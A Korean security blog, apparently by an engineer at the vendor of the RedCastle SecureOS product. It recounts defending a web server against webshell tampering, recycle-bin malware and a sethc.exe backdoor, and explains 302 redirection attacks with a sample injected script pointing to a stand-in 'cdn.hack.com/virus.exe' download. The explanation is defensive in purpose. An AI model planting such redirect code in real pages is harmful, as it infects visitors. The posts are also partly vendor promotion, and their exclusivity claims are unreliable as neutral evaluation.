태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

redcastle (16)



ISMS나 ISO27001 심사와 관련된 업무를 수행하다 보면 서버를 들여다 봐야 하는 일이 종종 발생한다. 솔직히 서버를 들여다 보는 일은 개인적으로 즐겁기도 하지만 안타까움을 느끼게 될 때가 더 많다. 왜냐하면 서버 내의 보안 수준이 생각보다 높지 않기 때문이다. 

이는 서버를 운영하는 운영자 혹은 관리자들이 서버 운영체제와 서버에서 구동되는 DBMS나 WAS 등 SW의 관계, 권한 설정등에 대한 이해수준이 높지 않기 때문이거나 이해수준은 높더라도 보안과 연관지어 어떤 위협이 존재하는지 알지 못하는 경우가 많기 때문이다.

그렇다보니 서버 운영체제에 대한 취약점 점검이 단순한 체크리스트(그마저도 제대로 적용하지 못한다) 방식으로 진행되고 ISO나 ISMS 인증심사 때도 그 체크리스트 중에서 몇개를 샘플로 선정해 점검하는 수준을 벗어나지 못하는 경우가 많다.

예를 들어.... 

"공개서버인 웹서버에서 Zeroday 취약점이 발견되어 해커가 이를 악용하였고 결국 웹서버가 실행중인 계정의 권한이 탈취되었을 경우 어떤 위협이 발생할 수 있으며 이에 대비하여 어떤 보호대책을 적용해야 하는가?"

라는 질문을 던졌을 때 ... 제대로 답변할 수 있는 보안담당자나 컨설턴트가 몇이나 되겠는가?

솔직하게 이야기해서 서버보안시스템 구축과 정책수립 등의 업무를 오랫동한 했기에 이에 대해 답변할 수 있지 그렇지 않았다면 아마도 나 또한 제대로 답변할 수 없을 것이다.

Secure OS(RedCastle)를 이용한 공개 서버 보안 강화

많은 기업들은 공개서버의 앞에 방화벽이나 IPS, 웹방화벽과 같은 네트워크 기반의 보안 솔루션을 도입하여 인터넷을 통해 시도되는 공격으로부터 공개서버들을 보호하고 있다. 

바로 홈페이지가 구동중인 웹 서버와 메일서버 등이 대표적이다. 그리고 웹서버나 메일서버는 아니지만 기업들 B2B 구간에도 인터넷에 공개할 수 밖에 없는 서버가 존재한다. 그리고 이렇게 인터넷에 공개되는 서비스들은 대부분 HTTP 혹은 FTP 등을 통해 연결되는 경우가 많다. 다른 서비스는 모두 차단되어 있지만 웹서비스를 수행하는 TCP/80과 TCP/21 등은 기업으로서도 어쩔 수 없는 아킬레스건과 같은 존재다.

해커들은 이렇게 인터넷에 열려 있는 웹서버, FTP서버 등을 그대로 내버려두지 않으며 인터넷을 통해 서버로 침투하는 경로로 이용된다.

이런 웹서버, 메일서버, FTP서버 등의 공개서버에서는 Apache, Tomcat, Weblogic, Webtob, Jeus 등 수많은 웹/FTP 서비스 관련 응용프로그램들이 설치되고 실행된다. 이러한 응용프로그램들은 인터넷을 통해 수많은 사용자의 PC와 통신을 하고 있고 인터넷 어디서든 개방되어 있는 서비스 포트를 통해 서버와 연결할 수 있기 때문에 해커들은 이런 서비스 대몬의 취약점 혹은 웹 서버에서 실행되는 PHP, JSP, Servlet 등의 취약점을 찾기 위해 혈안이 되어 있다. 

해커들이 웹서버를 공격하기 위해 사용하는 대표적인 취약성으로 OWASP 10대 취약점을 이야기하곤 한다. OWASP는 Open Web Application Security Project의 약자로서 이 프로젝트에서는 매년 10대 웹 취약점을 발표하고 있다. 여기에서 발표된 대부분의 취약점은 웹 응용프로그램 즉 PHP, JSP, ASP, Servlet 등을 개발할 때 프로그램 소스 수준에서 발생할 수 있는 취약점들을 담고 있으며 취약점이 포함된 웹 응용프로그램을 구동할 경우 홈페이지 위/변조 및 악성코드 삽입 더 나아가 웹 응용프로그램의 관리자 권한 및 운영체제의 계정 탈취 혹은 운영체제의 관리자 권한 탈취까지도 이루어질 수 있게 된다. 게다가 서버SW가 자체적으로 갖고 있는 취약점도 종종 발견되곤 한다.

여기서 중요한 것은 외부에 서비스를 제공하는 웹서버와 같은 어플리케이션SW와 운영체제의 격리다. 최근 어플리케이션의 관리를 편하게 하고 개발과 유지보수 관리의 부담을 줄이기 위해 어플리케이션 가상화인 도커(Docker)가 인기를 끌고 있다. 도커 또한 운영체제와 어플리케이션을 격리하는 솔루션의 한 종류이기 때문에 보안관점에서 효과를 볼 수도 있지만 근본적인 해결책은 될 수 없다. 

그렇다면 서버 운영체제와 서버에서 실행되는 어플리케이션의 격리를 위해 적용할 수 있는 보안솔루션은 무엇이 있을까?

이런 보안솔루션에 가장 근접하고 있는 보안솔루션이 바로 SecureOS다.

웹서버(IIS) 소스파일 변조 공격 방어 사례웹서버(IIS) 소스파일 변조 공격 방어 사례


특히 다음과 같은 부분에서는 다른 어떤 보안 솔루션도 따라오지 못할 만큼의 강력한 보안기능을 제공할 수 있다. 

1. PHP, JSP, JS, ASP, HTML, Servlet 등 웹 응용프로그램의 위/변조 혹은 공격을 위한 소스 및 파일 업로드 차단

2. 웹 기반 어플리케이션 대몬 (httpd, java 등)의 취약성을 이용한 운영체제의 명령어 실행 차단 및 중요 파일에 대한 접근 차단

3. 기타 어플리케이션의 취약점을 이용한 운영체제의 명령어 실행 및 파일 접근 차단

4. 업로드 취약성을 이용해 공격도구를 업로드 하고 실행시키는 공격의 차단.

5. 임시 디렉토리의 접근 권한이 있음을 이용해 공격 경유지로 이용하는 행위의 차단.

6. 서버의 일반 계정 권한을 탈취하여 수퍼유저 권한을 탈취하려는 시도의 차단.

7. 서버의 계정 권한을 탈취하여 인접한 타 서버로의 접근을 시도하는 행위의 차단. 

이러한 보안 기능을 제공할 수 있는 이유는 Secure OS가 커널수준에서 다음의 기능을 수행할 수 있기 때문이다. 

1. 웹 서버 대몬 혹은 어플리케이션 서버가 구동중인 계정에서 소스파일 혹은 설정파일에 대해 특정 프로그램 이외에는 쓰기(Write, Create, Delete, Modify)를 하지 못하도록 할 수 있다.

2. 웹 서버 대몬(httpd, java 등)이 운영체제의 주요 명령어를 실행(Excute System Call)하지 못하도록 할 수 있다.

3. root 계정에서 웹 소스파일에 접근하지 못하도록 할 수 있다.

4. 업로드 경로 및 웹 소스의 경로에서 파일의 실행을 차단할 수 있다.

5. 웹 서버 대몬 혹은 웹 서버가 구동중인 계정에서 운영체제의 임시디렉토리에 접근하는 것을 차단할 수 있다.

6. 일반계정에서 root 계정으로의 이동을 원천적으로 차단할 수 있으며 백도어의 실행도 원천적으로 차단할 수 있다.

7. SETUID/SETGID가 설정된 파일의 변조를 실시간으로 탐지하여 실행을 차단하며 새로운 파일이 생성될 경우 또한 실행을 차단할 수 있다.

Secure OS는 MAC(강제적 접근제어)와 DAC(임의적 접근제어) 보안 모델을 적절하게 적용함으로서 위의 기능들을 제공한다.  또한 웹 서버 뿐만 아니라 모든 서버의 내부에서 일어나는 행위에 대한 통제를 적절하게 수행할 수 있다. 

SecureOS는 서버를 보호하기 위한 보안의 최종 수비수다.



  • 2019.08.27 09:57

    비밀댓글입니다


최근 웹서버의 소스 변조 공격이 또 다시 붐~처럼 휘몰아 치고 있는 듯 하다. 


얼마 전 지속적인 웹 소스파일 변조 공격을 받고 있어 몇 주 째 사투(?)를 벌이고 있던 한 웹사이트 운영 업체의 요청으로 RedCastle SecureOS를 설치하고 해커와 한판 전쟁을 치르게 되었다. 이 해커는 다른 일반적인 소스 변조를 시도하는 사례와는 달리 한 두 가지의 공격을 차단되어도 포기하지 않고  계속 새로운 공격을 시도하고 있었다.


대부분의 경우는 웹 소스의 변조 시도가 차단되면 포기(?)하고 물러나는 것이 일반적인데 이 해커는 집요하게 새로운 공격을 감행하여 차단을 우회하려 시도하거나 운영체제의 파일들을 변조하려 하는 등 포기하지 않는 끈질김을 보여주었다.


2014년 11월의 어느 날...


급박한 요청을 받고 RedCastle을 설치한 뒤 Baseline Policy와 변조되는 소스파일에 대한 보호 정책을 적용하니 곧바로 다음과 같은 공격이 들어오는 것을 확인할 수 있었고 웹 소스파일 위변조 차단 정책에 의해 변조 공격은 차단되었다.



RedCastle을 설치하고 변조가 발생하는 경로의 파일들에 대해 위변조 차단정책과 웹서버 대몬의 운영체제 명령어 접근을 차단하는 정책을 적용하자 wscript.exe 프로세스가 cmd.exe를 실행하고 cmd.exe가 웹 소스파일을 변조하는 것을 알 수 있었다. 당연히 이 공격은 1차로 적용한 웹 소스파일 변조 차단 정책에 의해 차단되었다.



이후에도 위 감사로그 처럼 cmd.exe를 통해 계속 웹 소스파일 경로의 특정 파일을 변조하려 시도하고 있었다. 시도가 차단되니 1초에도 수십번씩 반복적으로 변조를 시도하고 있었다.


이러한 공격은 매우 흔한 경우로서 해커가 웹쉘을 업로드하는데 성공했거나 웹쉘처럼 운영체제의 명령어를 웹 인젝션 취약점을 통해 실행하여 관리자 권한을 탈취하는데 성공했다는 것을 의미한다.


그 후 보호정책이 걸려있지 않은 경로를 통해 우회 변조 및 새로운 파일들에 대한 변조가 발생하여 계속 보안 정책을 강화해야 했고 계속 소스 변조에 실패한 해커는 만 이틀이 안되어 사용자들에게 다운로드 되는 일부 프로그램을 변조하려 하는 새로운 시도가 있었다. 예전의 웹하드 업체의 다운로드 전용 프로그램을 변조하는 것과 같은 공격을 시도한 것이다.




위 화면은 뷰어 프로그램으로 보이는 접속자의 PC에 다운로드 되는 프로그램파일을 웹서버를 통해 변조하려 한 시도다. 주체 프로세스가 w3wp.exe (IIS 웹서비스 대몬)이고 변조 대상이 되는 객체 파일이 xlviewer.exe 라는 것을 알 수 있다.


해커는 이쯤에서 서버에 보호대책이 구현되어 있다는 것을 눈치 챘던 것으로 보인다. RedCastle의 파일들을 변조하고 매니저와 통신을 수행하는 프로세스를 강제로 종료시키기도 했다. 일반적으로 RedCastle의 존재를 알아차리는 해커는 없었다. 그런데 이번 해커는 조금 달랐다. 만만치 않은 친구(?)라는 것을 알 수 있었고 즉각적으로 RedCastle을 재설치하고 자체 보호 정책을 활성화 시켰다. 이후에도 RedCastle을 무력화 시키려 시도하였으나 차단되자 아래 처럼 다시 웹 소스파일과 설정파일을 변조하려 시도한다. 하지만 보호정책이 적용되어 있는 경로의 소스파일은 일반적인 방법으로는 수정이 불가능하다.



주체 프로세스는 역시 w3wp.exe 고 변조 대상 파일은 Web.config 파일이다. 이전엔 wscript.exe와 cmd.exe를 통해 변조를 시도했지만 실패하자 조금 다른 패턴을 통해 변조를 시도하였고 이 변조 공격 또한 차단되었다. 


웹 서버 소스에 대한 변조가 완벽하게 차단되자 해커는 다음 날 새로운 무기를 들고 나왔다. 다른 백도어와 악성코드 파일을 서버에 업로드하고 실행시키려 시도한 것이다.



iis6.txt 가 cmd.exe를 실행하려 시도하는데 경로가 RECYCLER 이다. 바로 휴지통이다. 휴지통은 일반적으로 악성코드에 감염될 것이라고는 잘 생각하지 않는다. 하지만 해커들은 사람들이 잘 들여다 보지 않는 곳에 악성코드를 업로드하고 실행시키는 경우가 종종 있다. 아래 화면처럼 말이다. 휴지통에 선명하게 보이는 c.exe 파일. 바로 악성코드다.



다음과 같이 반복적으로 계속 실행을 시도한다.















c.exe 말고도 주체로 보이는 iis6.txt 가 cmd.exe를 실행시키는 것 뿐만아니라 c.exe 자체가 운영체제의 net.exe 명령을 실행하기도 한다. net.exe는 해커들이 시스템의 관리자 권한을 획득할 경우 즐겨 사용하는 명령 중 하나다.



휴지통에 업로드하고 위 화면에서와 같이 실행을 시도한 파일들..



앞에서 봤던 iis6.txt 파일도 보인다.


Virustotal 사이트에서 확인하자 c.exe가 악성코드로 탐지된다. 안타깝게도 ALYac 에서는 아직 악성코드로 탐지해 내지 못한다. 블랙리스트 방식의 보안 솔루션의 한계를 여실히 보여주는 대목이다.



이후에도 해커는 지속적으로 공격을 시도한다.



이젠 C:\Temp 폴더에도 c.gif 라는 파일을 업로드한 뒤 find.exe 명령을 실행한다. 그외에도 다양한 방법으로 cmd.exe를 실행하려 하거나 csc와 같은 컴파일러를 실행하려 하기도 한다. 당연히 이러한 Violation 로그를 발생시키며 차단된다.


이후에도 해커는 미련을 버리지 못하고 간간히 웹 소스의 변조를 시도한다. 웹의 취약점을 이용해 Web.config 파일을 계속 수정하려 시도한다. 하지만 변조는 RedCastle에 의해 차단되고 아래 처럼 감사로그가 기록된다.



해커는 이제 마지막으로 새로운 공격을 감행한다. 앞의 포스트에 올린 sethc.exe 취약점을 공격한 것이다. sethc.exe를 변조하고 sethc.exe를 통해 다른 파일을 실행하거나 파일을 수정/삭제하려 시도하였다.





이쯤에서 해커는 더 이상의 해킹이 어렵다고 판단했는지 더 이상의 공격을 하지는 않고 있다.


하지만 아쉬운 점은 많은 공격 사례가 그렇듯 해커가 어떻게 침투했는지 그 경로를 파악하지 못했다는 점이다. 워낙 소스파일 경로가 복잡하고 수 많은 파일들이 존재하긴 했지만 해당 웹사이트 운영자와 개발자는 해커가 어떤 취약점을 통해 침투했는지를 파악할 엄두를 내지 못하고 있었다. (사실 가장 중요한 것이 악용된 취약점을 찾는 것인데...)


자세한 결과는 알지 못하지만 다른 웹 쉘 탐지 솔루션과 보안 컨설팅 업체에 분석을 요구했으나 해커가 설치한 일부 변조된 운영체제의 백도어 파일(앞의 sethc.exe와 같은)을 찾아낸 것과 웹쉘로 의심(?)되는 파일을 찾아 지운 것 이외에는 만족할 만한 성과를 거두지는 못한 듯 하다. 


이렇게 해커가 공격에 활용하는 취약점을 찾아 수정하지 못한 채 취약점을 통한 다양한 공격을 실질적으로 방어할 수 있는 보안 솔루션은 RedCastle SecureOS 이외에는 없다. 취약점을 찾는 동안 쉼없이 변조되는 소스파일들을 변조될 때 마다 알럿을 발생시켜 복구하는 수동적인 방식으로는 대응이 불가능하다. 일단 RedCastle SecureOS로 변조를 최후단에서 차단하면서 취약점을 찾는 과정을 거치는 것이 정답이라 할 수 있겠다.


그나마 취약점을 찾지 못해 웹 소스파일 변조 공격과 공격도구의 업로드 및 실행이 지속되는 동안 RedCastle을 통해 방어할 수 있었고 그로 인해 해커가 공격을 멈춘 것에 만족해야 했다. 결국 그 고객사는 RedCastle을 도입했고 현재 스스로 운용 중이다. 이따금씩 정책 관련 문의가 오고는 있으나 현재는 공격이 들어오지는 않고 있는 듯 하다. 


하지만 공격이 들어오더라도 실시간으로 차단하고 감사로그를 실시간으로 보여주기에 예전 처럼 무방비 상태로 공격을 당하고만 있지는 않을 것이다.






  • 지후대디 2014.12.21 23:39 신고

    해커의 끈기가 놀랍군요 꼭 뚫고 싶은 동기라도 있었나 봅니다 흥미진진하게 보고 갑니다 ^^

    • taeho Tae-Ho 2014.12.22 13:20 신고

      저도 뭔가 이해관계가 있는 사람과 연관이 있는게 아닐까 하는 생각을 안할래야 안 할 수가 없었습니다.

  • 에스델 ♥ 2014.12.22 13:18 신고

    휴지통에서 악성코드를 실행하다니~
    놀랍습니다.

    • taeho Tae-Ho 2014.12.22 13:21 신고

      선구자적 해커들은 상식을 깨는 사고를 많이 합니다. 당연히 다른 해커들은 그것을 따라하고요.. ^^

  • 오이란 2014.12.22 16:28 신고

    좋은 포스팅 너무나도 잘 보고 갑니다!
    포스팅 잘 봤네요. 즐거운 하루 되시길!!

  • RCE_Mania 2014.12.23 09:49 신고

    잘보고 갑니다!

  • 쭈니러스 2014.12.25 19:40 신고

    엄청나군요... 이것도 능력이겠죠ㅎㅎ


최근 "302 리다이렉션 공격"이라는 해킹이 유행하고 있는 듯 합니다. 마치 새로운 대단한 공격 기법인 것처럼 호들갑을 떨지만 이것은 새로운 공격 기법은 아닙니다. 홈페이지를 변조하거나 웹 브라우저가 요청한 웹페이지에 대해 특정 자바스크립트 코드를 삽입하여 클라이언트 PC의 웹 브라우저가 악성코드를 다운로드 받게 하는 하는 수많은 공격 기법과 전혀 다를 바가 없는 일반적인..흔하디 흔한 공격 기법 입니다.


다만 302 리다이렉션은 수많은 네트워크 보안솔루션들을 우회하기 위해 등장한 변종 기법이라는 점입니다. 홈페이지의 소스파일의 위/변조를 원천적으로 차단하면 보다 강력한 보안이 이루어질 텐데 네트워크 수준에서...또는 웹 서버의 설정을 변경하여 외부URL을 포함하거나 외부 서버에 있는 파일의 다운로드 링크의 동작을 차단하다 보니 해커들이 이젠 아예 접속한 클라이언트 PC의 브라우저를 다른 웹페이지로 완전히 전환(리다이렉션 : Redirection) 시켜버리기 시작한 것입니다.


이전과 같이 클라이언트 PC를 악성코드에 감염시키기 위한 공격의 과정에서 웹서버의 소스파일을 변조하는 공격이 선행된다는 점에는 변함이 없습니다. 즉, 웹 소스 파일의 위/변조를 원천적으로 차단하지 않는 한 이러한 변형 공격 기법은 지속적으로 등장할 것입니다. (당연히 기본적으로 시큐어 코딩은 적용되어야 합니다.)


원리는 다음과 같습니다.


302 Redirection Attack302 Redirection Attack


HTTP 프로토콜에서 지원하고 있는 응답코드 302가 브라우저의 주소를 다른 주소로 Redirect 하게 되는데 이 원리를 이용하여 악성코드를 다운로드 받는 URL로 강제로 전환 시켜 버리는 기법이 바로 302 리다이렉션 공격 입니다.


이 302 리다이렉션이 특별히 위험한 이유는 파밍 공격처럼 사용자가 자신이 실행하고 접속한 사이트를 보여주는 웹 브라우저가 다른 곳으로 전환(리다이렉션)되었다는 것을 전혀 인지하지 못할 수 있기 때문입니다. 이는 해커가 사용자가 접속한 웹페이지에 다음과 유사한 형태의 리다이렉션 코드(java script 혹은 meta 태그)를 추가(변조)하였기 때문입니다.


<script language=JavaScript>

Location.href = http://cdn.hack.com/virus.exe;

</script>


위에서 Location.href 를 지정하는 부분이 바로 302 리다이렉션을 유도하는 부분입니다. 해커가 원본 웹페이지 소스에 추가한 짧은 3줄의 Java Script 코드는 웹페이지에 숨어있다가 웹페이지에 접속한 사용자의 웹브라우저로 전달되고 웹 브라우저는 위의 Location.href 를 만나는 순간..... 사용자에게 "묻지도 따지지도 않고" 브라우저를 지정된 웹페이지로 이동(리다이렉션)시켜 버립니다.때문에 사용자는 그 사실을 모를 가능성이 높습니다.


이러한 302 리다이렉션을 사용자의 웹브라우저에서 막을 수 있는 방법은 현재로서는 없습니다. 가장 좋은 방법이 웹서버의 소스파일 위변조를 차단하는 것이며 웹 소스 변조를 통해 시도하는 302 리다이렉션과 다른 공격들을 원천적으로 방어할 수 있습니다. 그리고 시큐어코딩을 통해 웹페이지 소스 수준에서의 취약성을 제거한다면 대부분의 웹서버는 해킹으로부터 안전할 수 있습니다. 물론 DDOS와 같은 서비스 거부 공격은 예외겠지만 말입니다.


관련된 글 보기

웹서버 소스 위변조 방어를 위한 SecureOS 적용에 대한 포스트 보기




  • 쭈니러스 2014.09.04 22:54 신고

    잘 보고 갑니다~ 어려운 용어들이네요ㅎㅎㅎ


수년 전 발생했던 농협 전산망 해킹사고와 320사태 그리고 신용카드 3사의 엄청난 개인정보 유출사고에서 가장 핵심적인 취약성은 바로 "서버내부의 명령어에 대한 실행 통제 불가" "서버에 Telnet, SSH 접속 시 2차 인증 부재"다.


사실 서버가 해킹당하는 경우 위의 두가지 이슈가 가장 핵심적인 보안 취약성임에도 최근까지는 대부분 네트워크 수준에서 침투를 막지 못했다는 결과로 귀결시켜 조직 내부의 서버에 대한 보안이슈가 발생하는 것을 피해갔던 것이 사실이다.


하지만 2013년 금융감독원의 금융감독규정이 개정되면서 서버에 대한 접속 시 2차 인증 의무화와 서버 내에서의 위법행동 발생 시 즉각적인 조치가 가능한 수단 강구라는 항목이 추가되었다.


금융감독원-IT금융감독규정제14조금융감독원-IT금융감독규정제14조

[금융감독원 금융감독규정 제14조 9항과 10항]


이에 따라 금융기관들의 움직임이 바빠지고 있는 듯 하다. 지금까지는 시스템관리자들의 고유 권한으로써 장애발생 가능성을 이유로 신성불가침???의 영역처럼 여겨져 명령어의 사용에 대해 제약을 두지 않았으나 대형 보안사고의 주요 취약성으로  "서버내에 접속한 사용자/개발자/관리자/엔지니어에 대한 명령어 실행 통제 미흡"이 언급되기 시작하였고 결국 금융감독지침에 구체적으로 명령어 사용에 대한 통제 항목이 포함되었다.


서버내의 명령어 실행 통제를 위한 세가지 기술 동향


서버 내에서의 명령어 실행...더 나아가 서버 내의 중요 파일에 대한 읽기/수정/삭제 등을 통제하기 위한 다양한 기법의 솔루션이 이미 존재하고 있다. 그리고 이러한 명령어 실행을 통제할 수 있는 솔루션 들은 크게 3가지 정도의 제품군으로 분류될 수 있다.


1. 게이트웨이 방식의 서버접근제어(SAC) 기법


이 방식은 서버에 접근하는 모든 사용자가 프락시형태의 게이트웨이 장비를 통해 Telnet/SSH 접속을 하게 되고 게이트웨이 장비에서 서버로 전달되는 명령어를 분석하여 통제하는 방식이다. 

하지만 이 방식은 우회접속이나 서버와 서버간의 직접 접속 등을 통제하지 못하기 때문에 사실 거론의 대상이 되어서는 안되는 방식이다. 흔히 서버에 별도의 통제 SW를 설치하지 않아도 되고 장비하나만 도입하면 되기 때문에 수년전까지 선호되던 방식이나 최근 여러 감독기관의 보안감사에서 우회접속과 콘솔을 통한 직접접속에 대한 통제가 불가능한 사실이 알려지면서 명령어 통제기술로는 부적합하다는 것이 일반적인 평가다.


많은 SAC 솔루션 개발사에서 다양한 방법을 통해 이러한 단점을 극복하려 노력하고 있으나 워낙 해결하기 어려운 기술적문제가 많아 단시간내에 제대로 된 명령어 통제 기능을 수행할 것으로 기대하긴 어렵다.


2. TTY 복제 및 쉘(Shell : ksh, csh 등) 교체 방식의 명령어 통제 기술


게이트웨이 방식과는 달리 서버에 직접 응용수준에서 동작하는 보안SW를 설치하는 에이전트 방식의 명령어 통제 기법이다. 사용자가 Telnet, SSH를 접속하면 TTY라 부르는 터미널 디바이스를 할당받는데 보안SW가 하나의 TTY를 더 할당받아 TTY와 Shell 사이에 끼워 넣어 화면에 입출력되는 명령어를 가로채어 통제하는 방식이다.

또 하나의 방식은 /etc/passwd에 사용자마다 지정되는 shell을 보안SW 개발사에서 만든 shell로 변경하는 방식이다. 


이 두가지 응용수준에서 동작하는 명령어 통제 방식의 공통점은 Shell로 전달되는 키보드를 통해 입력된 명령어를 가로채 검사한다는 점이다. 이 방식은 게이트웨이 방식보다는 장점이 많고 통제할 수 있는 영역이 넓기는 하지만 응용수준에서 동작하기 때문에 역시나 우회하거나 통제하지 못하는 명령어 실행이 많을 수 밖에 없다. 


예를들어 알리아스가 설정된 명령어의 실행이나 쉘스크립트 혹은 다른 명령어 내에서 위험한 명령어를 실행하는 행위를 통제할 수는 없다. 간혹 쉘스크립트를 파싱하여 분석하여 통제한다고 하나 스크립트를 2중, 3중으로 작성하거나 스크립트가 아닌 실행파일로 만들어 그 실행파일 안에서 명령어를 실행할 경우 쉽게 통제가 뚫리는 취약성을 갖고 있을 수 밖에 없다.


또한 명령어는 사용자 쉘에서만 실행되는 것이 아니다. 앞에서 언급된 대형 보안사고에서와 같이 사용자가 직접 실행하지 않고 백신업데이트 서버나 시스템관리소프트웨어 등 다양한 소프트웨어가 실행하여 발생된 사고도 많다.


때문에 게이트웨이 방식보다는 우월하나 여전히 제대로 된 명령어 통제를 수행할 수 없는 것이 사실이다.


3. 운영체제 커널 수준에서의 명령어 통제 기술


서버내에서 명령어의 실행이나 파일에 대한 수정은 최종적으로 운영체제 커널의 시스템콜을 호출하게 된다. 운영체제의 커널에 동적으로 로드될 수 있는 커널모듈을 만들어 아래 그림처럼 시스템콜 테이블과 실제 시스템콜 루틴 사이에 끼워넣어 모든 파일에 대한 실행/수정/삭제/생성 등을 검사하는 방식이다.

SecureOS의 Security Kernel (RedCastle)SecureOS의 Security Kernel (RedCastle)


이 기술은 이미 1990년대 후반부터 세계적으로 사용되기 시작하여 국내에서는 2000년 초반대에 안정적인 동작을 보장하는 솔루션이 출시되기에 이르렀다. 


이 커널수준에서의 사용자 추적과 명령어 실행통제 및 파일에 대한 수정/삭제의 통제는 보안소프트웨어가 커널에 로드되는 점 이외에는 단점보다는 장점이 더 많은 것이 사실이다. 우회접속에 대한 우려와 알리아스, 심볼릭링크, 콘솔접속에 의한 명령어 실행은 물론 다중 레벨 스크립트와 서비스대몬 및 명령어 내에서 실행하는 명령어에 대한 추적과 통제도 완벽하게 수행된다.


마무리


이렇듯 서버 내에서의 명령어 통제에 대한 문제를 해결하기 위한 솔루션은 이미 시장에 넘쳐난다. 다만 어떤 솔루션을 선택하느냐의 문제다. 서버에 커널 수준에서 동작하는 소프트웨어를 설치하기 부담스럽다면 쉽게 우회할 수 있는 취약성이 있더라도 느슨한 통제를 수행하는 솔루션을 선택하면 되고 명령어 통제라는 이름에 걸맞는 제대로 된 명령어 통제를 구현하고 싶다면 커널 수준에서 동작하는 명령어 통제 솔루션을 선택하면 된다.


관련포스트 : http://blogger.pe.kr/401


  • 쭈니러스 2014.08.22 21:52 신고

    좋은 솔루션이 개발되고 사용되어져야 겠네요~

    • taeho Tae-Ho 2014.08.23 12:39 신고

      국산 소프트웨어도 좋은 제품이 많이 개발됩니다...하지만 기업 경영에 대한 ceo들의 잘못된 가치관과 합리적이지 못한 의사결정 그리고 정에 이끌려 공평하지 못한 조직관리가 그 소프트웨어 기업들을 죽입니다. 게다가 끝없는 갑질과 하도급은 성장가능성 높은 sw기업을 두번 죽이죠.. 그 속에서 개발자들은 반복되는 야근과 밤샘 코딩으로 세번 죽습니다... 정말 안타까운 일입니다..

  • 지후대디 2014.08.26 07:26 신고

    답글에서 공통된 마음이 듭니다 3번 죽이는 일을 아무렇지도 않게 반복하는 윗분들이 많습니다

    • taeho Tae-Ho 2014.08.26 07:33 신고

      출근중이시군요...^^ 맞습니다.우리나라에 경험 많은 개발자가 없는 이유중 하나죠..다들 혹사 당해 개발업무를 떠나기 때문이죠. 그래서 하지 않아도 될 시행착오의 무한루프에 빠지고 맙니다.


SecureOS (서버보안SW)는 서버에 대한 접근과 서버에 접속한 사용자들의 행위를 감시하고 명령어의 실행과 파일의 수정 및 삭제를 통제할 수 있는 매우 강력하고 다양한 기능을 제공하는 보안 솔루션이다. 하지만 2014년인 지금까지도 그 활용 수준은 미미한 것이 현실이다.


내가 처음 SecureOS를 접한 것은 아마도 IMF 구제금융사태가 끝나갈 무렵인 2000년 전후였던 것으로 기억된다. 당시 국내에서 쓸만한 유일한 서버보안SW(== SecureOS)였던 미국 CA사의 eTrust Access Control이 처음 접한 서버보안SW다. 


당시 내가 일하던 '포시에스"는 CA의 리셀러였고 Ingres RDBMS와 Unicenter, BMC의 Patrol 등 외산 SW를 국내에 공급하고 기술지원을 하는 회사였다. CA가 무척이나 다양한 서버용 SW를 개발하고 판매하는 글로벌 SW 기업인 덕분에 그 외에도 많은 서버용 SW를 접할 수 있었고 시스템 SW에 대한 폭넓은 시야와 경험을 쌓는데 매우 큰 도움이 되었다. 그와중에 접하게 된 것이 바로 지금도 내가 주 업무로 담당하고 있는 서버보안분야의 핵심적인 SW인 SecureOS 였다.


이 서버보안SW는 이스라엘의 MEMCO라는 벤처에서 만든 SeOS(많은 사람들이 당시 "쎄~오에스"라고 불렀음)를 플라티늄이라는 회사를 거쳐 CA가 인수하여 eTrust Acces Control 이라는 이름으로 개명하여 공급하고 있었다.


5일 짜리 기초교육을 받고 곧바로 구미에 내려가 프로젝트를 수행해야 했지만 제품의 컨셉 정도만 이해하고 있던 당시에는 서버의 계정관리 정책이나 파일에 대한 접근 통제 정책 수립에 대한 컨설팅은 꿈도 꾸지 못했었다.




당시 처음 접했던 서버보안SW가 인연이 되어 지금도 국산 서버보안SW인 RedCastle SecureOS와 관련된 일을 하고 있다. 


이미 개발된지 10년이 넘은 RedCastle은 단언컨대 최고의 서버보안SW다. RedCastle은 SecureOS의 핵심인 참조모니터가 구현된 보안커널의 아키텍쳐나 보안커널에서의 파일접근통제 메커니즘과 파일접근통제를 위한 정책의 수립을 위한 사용자 지원 유저인터페이스등 서버보안SW의 가장 중요한 부분에서 최고의 성능과 안정성을 보장한다.


2003년 당시 RedCastle이 개발된지 얼마 안되었을 즈음에는 서버에 설치하거나 설치한 뒤 종종 서버에 장애를 유발하는 문제도 있었지만 몇년 안되어 안정성이 충분히 확보되었고 성능도 외산보다 더 뛰어날 정도로 발전을 거듭하였다. 

일례로 외산을 사용하던 고객사에서 서버의 운영체제와 DB를 업그레이드 한 뒤 외산서버보안SW를 설치하면 서버가 서비스를 할 수 없을 만큼 성능이 저하되어 RedCastle을 이용해 문제를 해결하고 임시로 임대하여 사용한 사례가 있을 정도 였다. (지금은 해당 고객사가 전사적으로 RedCastle을 도입하여 사용 중임)


얼마 전 RedCastle에 대한 소개자료를 새로 만들었다. 매번 프로젝트 수행에 필요한 산출물 위주의 문서작업이나 교육교재 (Basic Course 및 Advanced Course) 등 기술자료만 만들다 영업에 사용될 기초적인 소개자료를 만들려하니 무척이나 까다로운 작업이었다.


그런데... 반응이 신통치 않았다. 우리나라 사람들은 이런 스타일의 문서를 "싫어"한다는 것을 알기 때문일 것이다. 나도안다. 왜 나라고 우리나라 스타일을 모르겠는가? 한눈에 직관적으로 알 수 있는 그림과 표가 가득한 겉만 화려한 그런 문서말이다. 하지만 그렇게 그림과 표로 많은 내용이 함축된 문서는 보는 이들이 곡해할 수 있는 요소가 너무 많은 것이 문제다. 전혀 다른 엉뚱한 의미로 이해하는 "사고"가 발생할 가능성이 너무 높다. 그래서 누군가가 "부연 설명"을 해줘야 한다.


그래서 난 부연설명의 필요성을 최소화할 수 있는 소개자료를 만들어 보고 싶었다. 차분히 문서하나를 다 보면 충분히 이해할 수 있는 그런 문서를 말이다. 그래서 만든 문서가 바로 이 RedCastle 소개자료다.



서버보안SW(SecureOS)가 무엇인지 궁금한 사람들에게 도움이 되었으면 한다.


RedCastle 소개자료 다운로드 받기


RedCastle_소개자료_20140414(GD).pdf






  • 지후대디 2014.07.26 16:14 신고

    화려한 표와 그림으로 함축한 문서에 곡해할 여지가 많다는 말 공감합니다 심지어 보는 사람의 지식에따라 전혀 다르게 이해 되기도 하더군요. 가끔 영어원서를 보면 한국에서는 무성의 하다고 느낄 단순한 그림과 텍스트가 많았는데 언어의 장벽에도 불구하고 이해하긴 더 쉬웠던것 같습니다 ㅎㅎ


